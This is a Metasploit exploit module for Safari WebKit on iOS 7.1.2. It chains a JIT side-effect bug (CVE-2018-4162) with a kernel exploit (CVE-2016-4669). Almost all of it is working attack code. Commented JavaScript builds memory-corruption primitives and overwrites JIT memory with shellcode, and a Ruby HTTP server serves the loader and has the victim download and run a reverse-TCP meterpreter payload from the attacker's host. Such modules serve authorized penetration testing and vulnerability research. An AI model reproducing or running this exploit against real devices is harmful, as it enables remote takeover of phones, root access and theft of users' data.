This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4.
193bef4f6ec1463a50a80fcde4b59fa1##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
'Description' => %q{
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the
meterpreter payload.
This module has been tested against iOS 7.1.2 on an iPhone 4.
},
'License' => MSF_LICENSE,
'Author' => [
'kudima', # ishell
'Ian Beer', # CVE-2016-4669
'WanderingGlitch', # CVE-2018-4162
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4669'],
['CVE', '2018-4162'],
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
],
'Arch' => ARCH_ARMLE,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'
)
)
register_options(
[
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
]
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def exploit_js
<<~JS
//
// Initial notes.
//
// If we look at publicly available exploits for this kind of
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
// differently interprets the content of arrays based on
// their type, besides object pointers and 64-bit doubles may have
// the same representation.
//
// This is not the case for 32-bit version of JavaScriptCore.
// The details are in runtime/JSCJSValue.h. All JSValues are still
// 64-bit, but for the cells representing objects
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
// to represent a pointer), meaning cell is always a NaN in IEEE754
// representation used for doubles and it is not possible to confuse
// an cell and a IEEE754 encoded double value.
//
// Another difference is how the cells are represented
// in the version of JavaScriptCore by iOS 7.1.2.
// The type of the cell object is determined by m_structure member
// at offset 0 which is a pointer to Structure object.
// On 64-bit systems, at the time [2], [3]
// were published, a 32-bit integer value was used as a structure id.
// And it was possible to deterministically predict that id for
// specific object layout.
//
// The exploit outline.
//
// Let's give a high level description of the steps taken by the
// exploit to get to arbitrary code execution.
//
// 1. We use side effect bug to overwrite butterfly header by confusing
// Double array with ArrayStorage and obtain out of bound (oob) read/write
// into array butterflies allocation area.
//
// 2. Use oob read/write to build addrOf/materialize object primitives,
// by overlapping ArrayStorage length with object pointer part of a cell
// stored in Contiguous array.
//
// 3. Craft a fake Number object in order to leak real object structure
// pointer via a runtime function.
//
// 4. Use leaked structure pointer to build a fake fake object allowing
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
//
// 5. We overwrite rwx memory used for jit code and redirect execution
// to that memory using our arbitrary read/write.
function main(loader, macho) {
// auxillary arrays to facilitate
// 64-bit floats to pointers conversion
var ab = new ArrayBuffer(8)
var u32 = new Uint32Array(ab);
var f64 = new Float64Array(ab);
function toF64(hi, lo) {
u32[0] = hi;
u32[1] = lo;
return f64[0];
}
function toHILO(f) {
f64[0] = f;
return [u32[0], u32[1]]
}
function printF64(f) {
var u32 = toHILO(f);
return (u32[0].toString(16) + " " + u32[1].toString(16));
}
// arr is an object with a butterfly
//
// cmp is an object we compare with
//
// v is a value assigned to an indexed property,
// gives as ability to change the butterfly
function oob_write(arr, cmp, v, i) {
arr[0] = 1.1;
// place a comparison with an object,
// incorrectly modeled as side effects free
cmp == 1;
// if i less then the butterfly length,
// it simply writes the value, otherwise
// bails to baseline jit, which is going to
// handle the write via a slow path.
arr[i] = v;
return arr[0];
}
function make_oob_array() {
var oob_array;
// allocate an object
var arr = {};
arr.p = 1.1;
// allocate butterfly of size 0x38,
// 8 bytes header and 6 elements. To get the size
// we create an array and inspect its memory
// in jsc command line interpreter.
arr[0] = 1.1;
// toString is triggered during comparison,
var x = {toString: function () {
// convert the butterfly into an
// array storage with two values,
// initial 1.1 64-bit at 0 is going to be placed
// to m_vector and value at 1000 is placed into
// the m_sparceMap
arr[1000] = 2.2;
// allocate a new butterfly right after
// our ArrayStorage. The butterflies are
// allocated continuously regardless
// of the size. For the array we
// get 0x28 bytes, header and 4 elements.
oob_array = [1.1];
return '1';
}
};
// ArrayStorage buttefly--+
// |
// V
//-8 -4 0 4
// | pub length | length | m_sparceMap | m_indexBias |
//
// 8 0xc 0x10
// | m_numValuesInVector | m_padding | m_vector[0]
//
//0x18 0x20 0x28
// | m_vector[1] | m_vector[2] | m_vector[3] |
//
// oob_array butterfly
// |
// V
//0x30 0x34 0x38 0x40 0x48 0x50
// | pub length | length | el0 | el1 | el2 |
//
// We enter the function with arr butterfly
// backed up by a regular butterfly, during the side effect
// in toString method we turn it into an ArrayStorage,
// and allocate a butterfly right after it. So we
// hopefully get memory layout as on the diagram above.
//
// The compiled code for oob_write, being not aware of the
// shape change, is going to compare 6 to the ArrayStorage
// length (which we set to 1000 in toString) and proceed
// to to write at index 6 relative to ArrayStorage butterfly,
// overwriting the oob_array butterfly header with 64-bit float
// encoded as 0x0000100000001000. Which gives as ability to write
// out of bounds of oob_array up to 0x1000 bytes, hence
// the name oob_array.
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);
return oob_array;
}
// returns address of an object
function addrOf(o) {
// overwrite ArrayStorage public length
// with the object pointer
oob_array[4] = o;
// retrieve the address as ArrayStorage
// butterfly public length
var r = oobStorage.length;
return r;
}
function materialize(addr) {
// replace ArrayStorage public length
oobStorage.length = addr;
// retrieve the placed address
// as an object
return oob_array[4];
}
function read32(addr) {
var lohi = toHILO(rw0Master.rw0_f2);
// replace m_buffer with our address
rw0Master.rw0_f2 = toF64(lohi[0], addr);
var ret = u32rw[0];
// restore
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
return ret;
}
function write32(addr, v) {
var lohi = toHILO(rw0Master.rw0_f2);
rw0Master.rw0_f2 = toF64(lohi[0], addr);
// for some reason if we don't do this
// and the value is negative as a signed int ( > 0x80000000)
// it takes base from a different place
u32rw[0] = v & 0xffffffff;
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
}
function testRW32() {
var o = [1.1];
print("--------------- testrw32 -------------");
print("len: " + o.length);
var bfly = read32(addrOf(o)+4);
print("bfly: " + bfly.toString(16));
var len = read32(bfly-8);
print("bfly len: " + len.toString(16));
write32(bfly - 8, 0x10);
var ret = o.length == 0x10;
print("len: " + o.length);
write32(bfly - 8, 1);
print("--------------- testrw32 -------------");
return ret;
}
// dump @len dword
function dumpAddr(addr, len) {
var output = 'addr: ' + addr.toString(16) + "\\n";
for (var i=0; i<len; i++) {
output += read32(addr + i*4).toString(16) + " ";
if ((i+1) % 2 == 0) {
output += "\\n";
}
}
return output;
}
// prepare the function we are going to
// use to run our macho loader
exec_code = "var o = {};";
for (var i=0; i<200; i++) {
exec_code += "o.p = 1.1;";
}
exec_code += "if (v) alert('exec');";
var exec = new Function('v', exec_code);
// force JavaScriptCore to generate jit code
// for the function
for (var i=0; i<1000; i++)
exec();
// create an object with a Double array butterfly
var arr = {};
arr.p = 1.1;
arr[0] = 1.1;
// force DFG optimization for oob_write function,
// with a write beyond the allocated storage
for (var i=0; i<10000; i++) {
oob_write(arr, {}, 1.1, 1);
}
// prepare a double array which we are going to turn
// into an ArrayStorage later on.
var oobStorage = [];
oobStorage[0] = 1.1;
// create an array with oob read/write
// relative to its butterfly
var oob_array = make_oob_array();
// Allocate an ArrayStorage after oob_array butterfly.
oobStorage[1000] = 2.2;
// convert into Contiguous storage, so we can materialize
// objects
oob_array[4] = {};
// allocate two objects with seven inline properties one after another,
// for fake object crafting
var oo = [];
for (var i=0; i<0x10; i++) {
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
oo.push(o);
}
// for some reason if we just do
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
// the objects just get some random addressed far apart, and we need
// them allocated one after another.
var fakeObjStore = oo.pop();
// we are going to leak Structure pointer for this object
var structLeaker = oo.pop();
// eventually we want to use it for read/write into typed array,
// and typed array is 0x18 bytes from our experiments.
// To cover all 0x18 bytes, we add four out of line properties
// to the structure we want to leak.
structLeaker.rw0_f1 = 1.1;
structLeaker.rw0_f2 = 1.1;
structLeaker.rw0_f3 = 1.1;
structLeaker.rw0_f4 = 1.1;
print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
print("structLeaker: " + addrOf(structLeaker).toString(16));
var fakeObjStoreAddr = addrOf(fakeObjStore)
// m_typeInfo offset within a Structure class is 0x34
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// for Number
// we want to achieve the following layout for fakeObjStore
//
// 0 8 0x10 0x18 0x20 0x28 0x30
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
//
// 0x30 0x34 0x38 0x40
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
//
// we materialize fakeObjStoreAddr + 0x30 as an object,
// As we can see the Structure pointer points back to fakeObjStore,
// which is acting as a structure for our object. In that fake
// structure object we craft m_typeInfo as if it was a Number object.
// At offset +0x34 the Structure objects have m_typeInfo member indicating
// the object type.
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// So we place that value at offset 0x34 relative to the fakeObjStore start.
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);
// We call a runtime function valueOf on Number, which only verifies
// that m_typeInfo field describes a Number object. Then it reads
// and returns 64-bit float value at object address + 0x10.
//
// In our seven properties object, it's
// going to be a 64-bit word located right after last property. Since
// we have arranged another seven properties object to be placed right
// after fakeObjStore, we are going to get first 8 bytes of
// that cell object which has the following layout.
// 0 4 8
// | m_structure | m_butterfly |
var val = Number.prototype.valueOf.call(fakeNumber);
// get lower 32-bit of a 64-bit float, which is a structure pointer.
var _7pStructAddr = toHILO(val)[1];
print("struct addr: " + _7pStructAddr.toString(16));
// now we are going to use the structure to craft an object
// with properties allowing as read/write access to Uint32Array.
var aabb = new ArrayBuffer(0x20);
// Uint32Array is 0x18 bytes,
// + 0xc m_impl
// + 0x10 m_storageLength
// + 0x14 m_storage
var u32rw = new Uint32Array(aabb, 4);
// Create a fake object with the structure we leaked before.
// So we can r/w to Uint32Array via out of line properties.
// The ool properties are placed before the butterfly header,
// so we point our fake object butterfly to Uint32Array + 0x28,
// to cover first 0x20 bytes via four out of line properties we added earlier
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};
// materialize whatever we put in the first inline property as an object
var rw0Master = materialize(addrOf(objRW0Store) + 8);
// magic
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
for (var i=0; i<8; i++) {
read32(addrOf(o));
write32(addrOf(o)+8, 0);
}
//testRW32();
// JSFunction->m_executable
var m_executable = read32(addrOf(exec)+0xc);
// m_executable->m_jitCodeForCall
var jitCodeForCall = read32(m_executable + 0x14) - 1;
print("jit code pointer: " + jitCodeForCall.toString(16));
// Get JSCell::destroy pointer, and pass it
// to the code we are going to execute as an argument
var n = new Number(1.1);
var struct = read32(addrOf(n));
// read methodTable
var classInfo = read32(struct + 0x20);
// read JSCell::destroy
var JSCell_destroy = read32(classInfo + 0x10);
print("JSCell_destroy: " + JSCell_destroy.toString(16));
// overwrite jit code of exec function
for (var i=0; i<loader.length; i++) {
var x = loader[i];
write32(jitCodeForCall+i*4, x);
}
// pass JSCell::destroy pointer and
// the macho file as arguments to our
// macho file loader, so it can get dylib cache slide
var nextBuf = read32(addrOf(macho) + 0x14);
// we pass parameters to the loader as a list of 32-bit words
// places right before the start
write32(jitCodeForCall-4, JSCell_destroy);
write32(jitCodeForCall-8, nextBuf);
print("nextBuf: " + nextBuf.toString(16));
// start our macho loader
print("executing macho...");
exec(true);
print("exec returned");
return;
}
try {
function asciiToUint8Array(str) {
var len = Math.floor((str.length + 4)/4) * 4;
var bytes = new Uint8Array(len);
for (var i=0; i<str.length; i++) {
var code = str.charCodeAt(i);
bytes[i] = code & 0xff;
}
return bytes;
}
// loads base64 encoded payload from the server and converts
// it into a Uint32Array
function loadAsUint32Array(path) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
xhttp.send();
var payload = atob(xhttp.response);
payload = asciiToUint8Array(payload);
return new Uint32Array(payload.buffer);
}
var loader = loadAsUint32Array("loader.b64");
var macho = loadAsUint32Array("macho.b64");
setTimeout(function() {main(loader, macho);}, 50);
} catch (e) {
print(e + "\\n" + e.stack);
}
JS
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Request #{request.uri} from #{request['User-Agent']}")
if request.uri.starts_with? '/loader.b64'
loader_data = exploit_data('CVE-2016-4669', 'loader')
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/macho.b64'
loader_data = exploit_data('CVE-2016-4669', 'macho')
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
loader_data[payload_url_index, payload_url.length] = payload_url
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/payload'
print_good('Target is vulnerable, sending payload!')
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
return
end
jscript = exploit_js
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = <<~HTML
<html>
<body>
<script>
#{jscript}
</script>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end
end